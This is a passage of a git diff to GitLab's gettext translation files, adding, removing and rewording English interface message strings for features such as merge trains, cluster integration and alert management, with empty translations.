@@ -28684,6 +29512,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28816,6 +29647,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -29122,12 +29956,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -29296,6 +30124,15 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "group"
msgstr ""
@@ -29341,9 +30178,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29389,6 +30223,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29542,9 +30379,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29557,6 +30400,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29629,9 +30475,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29665,12 +30508,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29752,19 +30589,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29992,6 +30829,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -30040,9 +30880,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -30160,6 +30997,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -30178,6 +31018,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -30241,6 +31084,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index 969f884cbce..c1ee1e1cfbe 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:41\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
